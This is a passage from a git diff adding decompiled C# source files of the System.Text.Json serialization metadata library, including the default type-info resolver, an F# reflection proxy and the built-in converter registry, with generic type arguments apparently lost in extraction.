jsonPropertyInfo.DetermineReflectionPropertyAccessors(memberInfo, hasJsonIncludeAttribute); + } + jsonPropertyInfo.IgnoreCondition = ignoreCondition; + jsonPropertyInfo.IsExtensionData = memberInfo.GetCustomAttribute(inherit: false) != null; + } + + private static void DeterminePropertyPolicies(JsonPropertyInfo propertyInfo, MemberInfo memberInfo) + { + propertyInfo.Order = memberInfo.GetCustomAttribute(inherit: false)?.Order ?? 0; + propertyInfo.NumberHandling = memberInfo.GetCustomAttribute(inherit: false)?.Handling; + propertyInfo.ObjectCreationHandling = memberInfo.GetCustomAttribute(inherit: false)?.Handling; + } + + private static void DeterminePropertyName(JsonPropertyInfo propertyInfo, MemberInfo memberInfo) + { + JsonPropertyNameAttribute customAttribute = memberInfo.GetCustomAttribute(inherit: false); + string text = ((customAttribute != null) ? customAttribute.Name : ((propertyInfo.Options.PropertyNamingPolicy == null) ? memberInfo.Name : propertyInfo.Options.PropertyNamingPolicy.ConvertName(memberInfo.Name))); + if (text == null) + { + ThrowHelper.ThrowInvalidOperationException_SerializerPropertyNameNull(propertyInfo); + } + propertyInfo.Name = text; + } + + private static void DeterminePropertyIsRequired(JsonPropertyInfo propertyInfo, MemberInfo memberInfo, bool shouldCheckForRequiredKeyword) + { + propertyInfo.IsRequired = memberInfo.GetCustomAttribute(inherit: false) != null || (shouldCheckForRequiredKeyword && memberInfo.HasRequiredMemberAttribute()); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal static void DeterminePropertyAccessors(JsonPropertyInfo jsonPropertyInfo, MemberInfo memberInfo, bool useNonPublicAccessors) + { + if (!(memberInfo is PropertyInfo propertyInfo)) + { + if (memberInfo is FieldInfo fieldInfo) + { + jsonPropertyInfo.Get = MemberAccessor.CreateFieldGetter(fieldInfo); + if (!fieldInfo.IsInitOnly) + { + jsonPropertyInfo.Set = MemberAccessor.CreateFieldSetter(fieldInfo); + } + } + return; + } + MethodInfo getMethod = propertyInfo.GetMethod; + if (getMethod != null && (getMethod.IsPublic || useNonPublicAccessors)) + { + jsonPropertyInfo.Get = MemberAccessor.CreatePropertyGetter(propertyInfo); + } + MethodInfo setMethod = propertyInfo.SetMethod; + if (setMethod != null && (setMethod.IsPublic || useNonPublicAccessors)) + { + jsonPropertyInfo.Set = MemberAccessor.CreatePropertySetter(propertyInfo); + } + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static Func DetermineCreateObjectDelegate(Type type, JsonConverter converter) + { + ConstructorInfo constructorInfo = null; + if (converter.ConstructorInfo != null && !converter.ConstructorIsParameterized) + { + constructorInfo = converter.ConstructorInfo; + } + if ((object)constructorInfo == null) + { + constructorInfo = type.GetConstructor(BindingFlags.Instance | BindingFlags.Public, null, Type.EmptyTypes, null); + } + return MemberAccessor.CreateParameterlessConstructor(type, constructorInfo); + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + public DefaultJsonTypeInfoResolver() + : this(mutable: true) + { + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private DefaultJsonTypeInfoResolver(bool mutable) + { + _mutable = mutable; + if (s_defaultFactoryConverters == null) + { + s_defaultFactoryConverters = GetDefaultFactoryConverters(); + } + if (s_defaultSimpleConverters == null) + { + s_defaultSimpleConverters = GetDefaultSimpleConverters(); + } + } + + [UnconditionalSuppressMessage("ReflectionAnalysis", "IL2026:RequiresUnreferencedCode", Justification = "The ctor is marked RequiresUnreferencedCode.")] + [UnconditionalSuppressMessage("AotAnalysis", "IL3050:RequiresDynamicCode", Justification = "The ctor is marked RequiresDynamicCode.")] + public virtual JsonTypeInfo GetTypeInfo(Type type, JsonSerializerOptions options) + { + if (type == null) + { + ThrowHelper.ThrowArgumentNullException("type"); + } + if (options == null) + { + ThrowHelper.ThrowArgumentNullException("options"); + } + _mutable = false; + JsonTypeInfo.ValidateType(type); + JsonTypeInfo jsonTypeInfo = CreateJsonTypeInfo(type, options); + jsonTypeInfo.OriginatingResolver = this; + jsonTypeInfo.IsCustomized = false; + if (_modifiers != null) + { + foreach (Action modifier in _modifiers) + { + modifier(jsonTypeInfo); + } + } + return jsonTypeInfo; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + private static JsonTypeInfo CreateJsonTypeInfo(Type type, JsonSerializerOptions options) + { + JsonConverter converterForType = GetConverterForType(type, options); + return CreateTypeInfoCore(type, converterForType, options); + } + + bool IBuiltInJsonTypeInfoResolver.IsCompatibleWithOptions(JsonSerializerOptions _) + { + ModifierCollection modifiers = _modifiers; + if ((modifiers == null || modifiers.Count == 0) ? true : false) + { + return GetType() == typeof(DefaultJsonTypeInfoResolver); + } + return false; + } + + [RequiresUnreferencedCode("JSON serialization and deserialization might require types that cannot be statically analyzed. Use the overload that takes a JsonTypeInfo or JsonSerializerContext, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("JSON serialization and deserialization might require types that cannot be statically analyzed and might need runtime code generation. Use System.Text.Json source generation for native AOT applications.")] + internal static DefaultJsonTypeInfoResolver RootDefaultInstance() + { + DefaultJsonTypeInfoResolver defaultJsonTypeInfoResolver = s_defaultInstance; + if (defaultJsonTypeInfoResolver != null) + { + return defaultJsonTypeInfoResolver; + } + DefaultJsonTypeInfoResolver defaultJsonTypeInfoResolver2 = new DefaultJsonTypeInfoResolver(mutable: false); + DefaultJsonTypeInfoResolver defaultJsonTypeInfoResolver3 = Interlocked.CompareExchange(ref s_defaultInstance, defaultJsonTypeInfoResolver2, null); + return defaultJsonTypeInfoResolver3 ?? defaultJsonTypeInfoResolver2; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/EmptyJsonTypeInfoResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/EmptyJsonTypeInfoResolver.cs new file mode 100644 index 0000000..123c673 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/EmptyJsonTypeInfoResolver.cs @@ -0,0 +1,14 @@ +namespace System.Text.Json.Serialization.Metadata; + +internal sealed class EmptyJsonTypeInfoResolver : IJsonTypeInfoResolver, IBuiltInJsonTypeInfoResolver +{ + public JsonTypeInfo GetTypeInfo(Type type, JsonSerializerOptions options) + { + return null; + } + + public bool IsCompatibleWithOptions(JsonSerializerOptions _) + { + return true; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/FSharpCoreReflectionProxy.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/FSharpCoreReflectionProxy.cs new file mode 100644 index 0000000..971bbf5 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/FSharpCoreReflectionProxy.cs @@ -0,0 +1,240 @@ +using System.Collections.Generic; +using System.Diagnostics.CodeAnalysis; +using System.Reflection; + +namespace System.Text.Json.Serialization.Metadata; + +internal sealed class FSharpCoreReflectionProxy +{ + public enum FSharpKind + { + Unrecognized, + Option, + ValueOption, + List, + Set, + Map, + Record, + Union + } + + public delegate TResult StructGetter(ref TStruct @this) where TStruct : struct; + + private enum SourceConstructFlags + { + None = 0, + SumType = 1, + RecordType = 2, + ObjectType = 3, + Field = 4, + Exception = 5, + Closure = 6, + Module = 7, + UnionCase = 8, + Value = 9, + KindMask = 31, + NonPublicRepresentation = 32 + } + + public const string FSharpCoreUnreferencedCodeMessage = "Uses Reflection to access FSharp.Core components at runtime."; + + private static FSharpCoreReflectionProxy s_singletonInstance; + + private const string CompilationMappingAttributeTypeName = "Microsoft.FSharp.Core.CompilationMappingAttribute"; + + private readonly Type _compilationMappingAttributeType; + + private readonly MethodInfo _sourceConstructFlagsGetter; + + private readonly Type _fsharpOptionType; + + private readonly Type _fsharpValueOptionType; + + private readonly Type _fsharpListType; + + private readonly Type _fsharpSetType; + + private readonly Type _fsharpMapType; + + private readonly MethodInfo _fsharpListCtor; + + private readonly MethodInfo _fsharpSetCtor; + + private readonly MethodInfo _fsharpMapCtor; + + public static FSharpCoreReflectionProxy Instance => s_singletonInstance; + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public static bool IsFSharpType(Type type) + { + if (s_singletonInstance == null) + { + Assembly fSharpCoreAssembly = GetFSharpCoreAssembly(type); + if ((object)fSharpCoreAssembly != null) + { + if (s_singletonInstance == null) + { + s_singletonInstance = new FSharpCoreReflectionProxy(fSharpCoreAssembly); + } + return true; + } + return false; + } + return s_singletonInstance.GetFSharpCompilationMappingAttribute(type) != null; + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + private FSharpCoreReflectionProxy(Assembly fsharpCoreAssembly) + { + Type type = fsharpCoreAssembly.GetType("Microsoft.FSharp.Core.CompilationMappingAttribute"); + _sourceConstructFlagsGetter = type.GetMethod("get_SourceConstructFlags", BindingFlags.Instance | BindingFlags.Public); + _compilationMappingAttributeType = type; + _fsharpOptionType = fsharpCoreAssembly.GetType("Microsoft.FSharp.Core.FSharpOption`1"); + _fsharpValueOptionType = fsharpCoreAssembly.GetType("Microsoft.FSharp.Core.FSharpValueOption`1"); + _fsharpListType = fsharpCoreAssembly.GetType("Microsoft.FSharp.Collections.FSharpList`1"); + _fsharpSetType = fsharpCoreAssembly.GetType("Microsoft.FSharp.Collections.FSharpSet`1"); + _fsharpMapType = fsharpCoreAssembly.GetType("Microsoft.FSharp.Collections.FSharpMap`2"); + _fsharpListCtor = fsharpCoreAssembly.GetType("Microsoft.FSharp.Collections.ListModule")?.GetMethod("OfSeq", BindingFlags.Static | BindingFlags.Public); + _fsharpSetCtor = fsharpCoreAssembly.GetType("Microsoft.FSharp.Collections.SetModule")?.GetMethod("OfSeq", BindingFlags.Static | BindingFlags.Public); + _fsharpMapCtor = fsharpCoreAssembly.GetType("Microsoft.FSharp.Collections.MapModule")?.GetMethod("OfSeq", BindingFlags.Static | BindingFlags.Public); + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public FSharpKind DetectFSharpKind(Type type) + { + Attribute fSharpCompilationMappingAttribute = GetFSharpCompilationMappingAttribute(type); + if (fSharpCompilationMappingAttribute == null) + { + return FSharpKind.Unrecognized; + } + if (type.IsGenericType) + { + Type genericTypeDefinition = type.GetGenericTypeDefinition(); + if (genericTypeDefinition == _fsharpOptionType) + { + return FSharpKind.Option; + } + if (genericTypeDefinition == _fsharpValueOptionType) + { + return FSharpKind.ValueOption; + } + if (genericTypeDefinition == _fsharpListType) + { + return FSharpKind.List; + } + if (genericTypeDefinition == _fsharpSetType) + { + return FSharpKind.Set; + } + if (genericTypeDefinition == _fsharpMapType) + { + return FSharpKind.Map; + } + } + return (GetSourceConstructFlags(fSharpCompilationMappingAttribute) & SourceConstructFlags.KindMask) switch + { + SourceConstructFlags.RecordType => FSharpKind.Record, + SourceConstructFlags.SumType => FSharpKind.Union, + _ => FSharpKind.Unrecognized, + }; + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public Func CreateFSharpOptionValueGetter<[DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] TFSharpOption, T>() + { + MethodInfo methodInfo = EnsureMemberExists(typeof(TFSharpOption).GetMethod("get_Value", BindingFlags.Instance | BindingFlags.Public), "Microsoft.FSharp.Core.FSharpOption.get_Value()"); + return CreateDelegate>(methodInfo); + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public Func CreateFSharpOptionSomeConstructor<[DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] TFSharpOption, TElement>() + { + MethodInfo methodInfo = EnsureMemberExists(typeof(TFSharpOption).GetMethod("Some", BindingFlags.Static | BindingFlags.Public), "Microsoft.FSharp.Core.FSharpOption.Some(T value)"); + return CreateDelegate>(methodInfo); + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public StructGetter CreateFSharpValueOptionValueGetter<[DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] TFSharpValueOption, TElement>() where TFSharpValueOption : struct + { + MethodInfo methodInfo = EnsureMemberExists(typeof(TFSharpValueOption).GetMethod("get_Value", BindingFlags.Instance | BindingFlags.Public), "Microsoft.FSharp.Core.FSharpValueOption.get_Value()"); + return CreateDelegate>(methodInfo); + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public Func CreateFSharpValueOptionSomeConstructor<[DynamicallyAccessedMembers(DynamicallyAccessedMemberTypes.PublicMethods)] TFSharpOption, TElement>() + { + MethodInfo methodInfo = EnsureMemberExists(typeof(TFSharpOption).GetMethod("Some", BindingFlags.Static | BindingFlags.Public), "Microsoft.FSharp.Core.FSharpValueOption.ValueSome(T value)"); + return CreateDelegate>(methodInfo); + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public Func, TFSharpList> CreateFSharpListConstructor() + { + return CreateDelegate, TFSharpList>>(EnsureMemberExists(_fsharpListCtor, "Microsoft.FSharp.Collections.ListModule.OfSeq(IEnumerable source)").MakeGenericMethod(typeof(TElement))); + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public Func, TFSharpSet> CreateFSharpSetConstructor() + { + return CreateDelegate, TFSharpSet>>(EnsureMemberExists(_fsharpSetCtor, "Microsoft.FSharp.Collections.SetModule.OfSeq(IEnumerable source)").MakeGenericMethod(typeof(TElement))); + } + + [RequiresUnreferencedCode("Uses Reflection to access FSharp.Core components at runtime.")] + [RequiresDynamicCode("Uses Reflection to access FSharp.Core components at runtime.")] + public Func>, TFSharpMap> CreateFSharpMapConstructor() + { + return CreateDelegate>, TFSharpMap>>(EnsureMemberExists(_fsharpMapCtor, "Microsoft.FSharp.Collections.MapModule.OfSeq(IEnumerable> source)").MakeGenericMethod(typeof(TKey), typeof(TValue))); + } + + private Attribute GetFSharpCompilationMappingAttribute(Type type) + { + return type.GetCustomAttribute(_compilationMappingAttributeType, inherit: true); + } + + private SourceConstructFlags GetSourceConstructFlags(Attribute compilationMappingAttribute) + { + if ((object)_sourceConstructFlagsGetter != null) + { + return (SourceConstructFlags)_sourceConstructFlagsGetter.Invoke(compilationMappingAttribute, null); + } + return SourceConstructFlags.None; + } + + private static Assembly GetFSharpCoreAssembly(Type type) + { + object[] customAttributes = type.GetCustomAttributes(inherit: true); + for (int i = 0; i < customAttributes.Length; i++) + { + Attribute attribute = (Attribute)customAttributes[i]; + Type type2 = attribute.GetType(); + if (type2.FullName == "Microsoft.FSharp.Core.CompilationMappingAttribute") + { + return type2.Assembly; + } + } + return null; + } + + private static TDelegate CreateDelegate(MethodInfo methodInfo) where TDelegate : Delegate + { + return (TDelegate)Delegate.CreateDelegate(typeof(TDelegate), methodInfo, throwOnBindFailure: true); + } + + private static TMemberInfo EnsureMemberExists(TMemberInfo memberInfo, string memberName) where TMemberInfo : MemberInfo + { + if ((object)memberInfo == null) + { + ThrowHelper.ThrowMissingMemberException_MissingFSharpCoreMember(memberName); + } + return memberInfo; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/IBuiltInJsonTypeInfoResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/IBuiltInJsonTypeInfoResolver.cs new file mode 100644 index 0000000..7f0b1b0 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/IBuiltInJsonTypeInfoResolver.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization.Metadata; + +internal interface IBuiltInJsonTypeInfoResolver +{ + bool IsCompatibleWithOptions(JsonSerializerOptions options); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/IJsonTypeInfoResolver.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/IJsonTypeInfoResolver.cs new file mode 100644 index 0000000..210e807 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/IJsonTypeInfoResolver.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Serialization.Metadata; + +public interface IJsonTypeInfoResolver +{ + JsonTypeInfo? GetTypeInfo(Type type, JsonSerializerOptions options); +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonCollectionInfoValues.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonCollectionInfoValues.cs new file mode 100644 index 0000000..94985a3 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonCollectionInfoValues.cs @@ -0,0 +1,17 @@ +using System.ComponentModel; + +namespace System.Text.Json.Serialization.Metadata; + +[EditorBrowsable(EditorBrowsableState.Never)] +public sealed class JsonCollectionInfoValues +{ + public Func? ObjectCreator { get; init; } + + public JsonTypeInfo? KeyInfo { get; init; } + + public JsonTypeInfo ElementInfo { get; init; } + + public JsonNumberHandling NumberHandling { get; init; } + + public Action? SerializeHandler { get; init; } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonDerivedType.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonDerivedType.cs new file mode 100644 index 0000000..d4c68a7 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonDerivedType.cs @@ -0,0 +1,38 @@ +namespace System.Text.Json.Serialization.Metadata; + +public readonly struct JsonDerivedType +{ + public Type DerivedType { get; } + + public object? TypeDiscriminator { get; } + + public JsonDerivedType(Type derivedType) + { + DerivedType = derivedType; + TypeDiscriminator = null; + } + + public JsonDerivedType(Type derivedType, int typeDiscriminator) + { + DerivedType = derivedType; + TypeDiscriminator = typeDiscriminator; + } + + public JsonDerivedType(Type derivedType, string typeDiscriminator) + { + DerivedType = derivedType; + TypeDiscriminator = typeDiscriminator; + } + + internal JsonDerivedType(Type derivedType, object typeDiscriminator) + { + DerivedType = derivedType; + TypeDiscriminator = typeDiscriminator; + } + + internal void Deconstruct(out Type derivedType, out object typeDiscriminator) + { + derivedType = DerivedType; + typeDiscriminator = TypeDiscriminator; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonMetadataServices.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonMetadataServices.cs new file mode 100644 index 0000000..09df47b --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Serialization.Metadata/JsonMetadataServices.cs @@ -0,0 +1,506 @@ +using System.Collections; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.ComponentModel; +using System.Reflection; +using System.Text.Json.Nodes; +using System.Text.Json.Serialization.Converters; + +namespace System.Text.Json.Serialization.Metadata; + +[EditorBrowsable(EditorBrowsableState.Never)] +public static class JsonMetadataServices +{ + private static JsonConverter s_booleanConverter; + + private static JsonConverter s_byteArrayConverter; + + private static JsonConverter s_byteConverter; + + private static JsonConverter s_charConverter; + + private static JsonConverter s_dateTimeConverter; + + private static JsonConverter s_dateTimeOffsetConverter; + + private static JsonConverter s_decimalConverter; + + private static JsonConverter s_doubleConverter; + + private static JsonConverter s_guidConverter; + + private static JsonConverter s_int16Converter; + + private static JsonConverter s_int32Converter; + + private static JsonConverter s_int64Converter; + + private static JsonConverter s_jsonArrayConverter; + + private static JsonConverter s_jsonElementConverter; + + private static JsonConverter s_jsonNodeConverter; + + private static JsonConverter s_jsonObjectConverter; + + private static JsonConverter s_jsonValueConverter; + + private static JsonConverter s_jsonDocumentConverter; + + private static JsonConverter> s_memoryByteConverter; + + private static JsonConverter> s_readOnlyMemoryByteConverter; + + private static JsonConverter s_objectConverter; + + private static JsonConverter s_singleConverter; + + private static JsonConverter s_sbyteConverter; + + private static JsonConverter s_stringConverter; + + private static JsonConverter s_timeSpanConverter; + + private static JsonConverter s_uint16Converter; + + private static JsonConverter s_uint32Converter; + + private static JsonConverter s_uint64Converter; + + private static JsonConverter s_uriConverter; + + private static JsonConverter s_versionConverter; + + public static JsonConverter BooleanConverter => s_booleanConverter ?? (s_booleanConverter = new System.Text.Json.Serialization.Converters.BooleanConverter()); + + public static JsonConverter ByteArrayConverter => s_byteArrayConverter ?? (s_byteArrayConverter = new ByteArrayConverter()); + + public static JsonConverter ByteConverter => s_byteConverter ?? (s_byteConverter = new System.Text.Json.Serialization.Converters.ByteConverter()); + + public static JsonConverter CharConverter => s_charConverter ?? (s_charConverter = new System.Text.Json.Serialization.Converters.CharConverter()); + + public static JsonConverter DateTimeConverter => s_dateTimeConverter ?? (s_dateTimeConverter = new System.Text.Json.Serialization.Converters.DateTimeConverter()); + + public static JsonConverter DateTimeOffsetConverter => s_dateTimeOffsetConverter ?? (s_dateTimeOffsetConverter = new System.Text.Json.Serialization.Converters.DateTimeOffsetConverter()); + + public static JsonConverter DecimalConverter => s_decimalConverter ?? (s_decimalConverter = new System.Text.Json.Serialization.Converters.DecimalConverter()); + + public static JsonConverter DoubleConverter => s_doubleConverter ?? (s_doubleConverter = new System.Text.Json.Serialization.Converters.DoubleConverter()); + + public static JsonConverter GuidConverter => s_guidConverter ?? (s_guidConverter = new System.Text.Json.Serialization.Converters.GuidConverter()); + + public static JsonConverter Int16Converter => s_int16Converter ?? (s_int16Converter = new System.Text.Json.Serialization.Converters.Int16Converter()); + + public static JsonConverter Int32Converter => s_int32Converter ?? (s_int32Converter = new System.Text.Json.Serialization.Converters.Int32Converter()); + + public static JsonConverter Int64Converter => s_int64Converter ?? (s_int64Converter = new System.Text.Json.Serialization.Converters.Int64Converter()); + + public static JsonConverter JsonArrayConverter => s_jsonArrayConverter ?? (s_jsonArrayConverter = new JsonArrayConverter()); + + public static JsonConverter JsonElementConverter => s_jsonElementConverter ?? (s_jsonElementConverter = new JsonElementConverter()); + + public static JsonConverter JsonNodeConverter => s_jsonNodeConverter ?? (s_jsonNodeConverter = new JsonNodeConverter()); + + public static JsonConverter JsonObjectConverter => s_jsonObjectConverter ?? (s_jsonObjectConverter = new JsonObjectConverter()); + + public static JsonConverter JsonValueConverter => s_jsonValueConverter ?? (s_jsonValueConverter = new JsonValueConverter()); + + public static JsonConverter JsonDocumentConverter => s_jsonDocumentConverter ?? (s_jsonDocumentConverter = new JsonDocumentConverter()); + + public static JsonConverter> MemoryByteConverter => s_memoryByteConverter ?? (s_memoryByteConverter = new MemoryByteConverter()); + + public static JsonConverter> ReadOnlyMemoryByteConverter => s_readOnlyMemoryByteConverter ?? (s_readOnlyMemoryByteConverter = new ReadOnlyMemoryByteConverter()); + + public static JsonConverter ObjectConverter => s_objectConverter ?? (s_objectConverter = new DefaultObjectConverter()); + + public static JsonConverter SingleConverter => s_singleConverter ?? (s_singleConverter = new System.Text.Json.Serialization.Converters.SingleConverter()); + + [CLSCompliant(false)] + public static JsonConverter SByteConverter => s_sbyteConverter ?? (s_sbyteConverter = new System.Text.Json.Serialization.Converters.SByteConverter()); + + public static JsonConverter StringConverter => s_stringConverter ?? (s_stringConverter = new System.Text.Json.Serialization.Converters.StringConverter()); + + public static JsonConverter TimeSpanConverter => s_timeSpanConverter ?? (s_timeSpanConverter = new System.Text.Json.Serialization.Converters.TimeSpanConverter()); + + [CLSCompliant(false)] + public static JsonConverter UInt16Converter => s_uint16Converter ?? (s_uint16Converter = new System.Text.Json.Serialization.Converters.UInt16Converter()); + + [CLSCompliant(false)] + public static JsonConverter UInt32Converter => s_uint32Converter ?? (s_uint32Converter = new System.Text.Json.Serialization.Converters.UInt32Converter()); + + [CLSCompliant(false)] + public static JsonConverter UInt64Converter => s_uint64Converter ?? (s_uint64Converter = new System.Text.Json.Serialization.Converters.UInt64Converter()); + + public static JsonConverter UriConverter => s_uriConverter ?? (s_uriConverter = new UriConverter()); + + public static JsonConverter VersionConverter => s_versionConverter ?? (s_versionConverter = new System.Text.Json.Serialization.Converters.VersionConverter()); + + public static JsonTypeInfo CreateArrayInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) + { + return CreateCore(options, collectionInfo, new ArrayConverter()); + } + + public static JsonTypeInfo CreateListInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : List + { + return CreateCore(options, collectionInfo, new ListOfTConverter()); + } + + public static JsonTypeInfo CreateDictionaryInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : Dictionary where TKey : notnull + { + return CreateCore(options, collectionInfo, new DictionaryOfTKeyTValueConverter()); + } + + public static JsonTypeInfo CreateImmutableDictionaryInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo, Func>, TCollection> createRangeFunc) where TCollection : IReadOnlyDictionary where TKey : notnull + { + if (createRangeFunc == null) + { + ThrowHelper.ThrowArgumentNullException("createRangeFunc"); + } + return CreateCore(options, collectionInfo, new ImmutableDictionaryOfTKeyTValueConverter(), createRangeFunc); + } + + public static JsonTypeInfo CreateIDictionaryInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : IDictionary where TKey : notnull + { + return CreateCore(options, collectionInfo, new IDictionaryOfTKeyTValueConverter()); + } + + public static JsonTypeInfo CreateIReadOnlyDictionaryInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : IReadOnlyDictionary where TKey : notnull + { + return CreateCore(options, collectionInfo, new IReadOnlyDictionaryOfTKeyTValueConverter()); + } + + public static JsonTypeInfo CreateImmutableEnumerableInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo, Func, TCollection> createRangeFunc) where TCollection : IEnumerable + { + if (createRangeFunc == null) + { + ThrowHelper.ThrowArgumentNullException("createRangeFunc"); + } + return CreateCore(options, collectionInfo, new ImmutableEnumerableOfTConverter(), createRangeFunc); + } + + public static JsonTypeInfo CreateIListInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : IList + { + return CreateCore(options, collectionInfo, new IListConverter()); + } + + public static JsonTypeInfo CreateIListInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : IList + { + return CreateCore(options, collectionInfo, new IListOfTConverter()); + } + + public static JsonTypeInfo CreateISetInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : ISet + { + return CreateCore(options, collectionInfo, new ISetOfTConverter()); + } + + public static JsonTypeInfo CreateICollectionInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : ICollection + { + return CreateCore(options, collectionInfo, new ICollectionOfTConverter()); + } + + public static JsonTypeInfo CreateStackInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : Stack + { + return CreateCore(options, collectionInfo, new StackOfTConverter()); + } + + public static JsonTypeInfo CreateQueueInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : Queue + { + return CreateCore(options, collectionInfo, new QueueOfTConverter()); + } + + public static JsonTypeInfo CreateConcurrentStackInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : ConcurrentStack + { + return CreateCore(options, collectionInfo, new ConcurrentStackOfTConverter()); + } + + public static JsonTypeInfo CreateConcurrentQueueInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : ConcurrentQueue + { + return CreateCore(options, collectionInfo, new ConcurrentQueueOfTConverter()); + } + + public static JsonTypeInfo CreateIEnumerableInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : IEnumerable + { + return CreateCore(options, collectionInfo, new IEnumerableOfTConverter()); + } + + public static JsonTypeInfo CreateIAsyncEnumerableInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : IAsyncEnumerable + { + return CreateCore(options, collectionInfo, new IAsyncEnumerableOfTConverter()); + } + + public static JsonTypeInfo CreateIDictionaryInfo(JsonSerializerOptions options, JsonCollectionInfoValues collectionInfo) where TCollection : IDictionary + { + 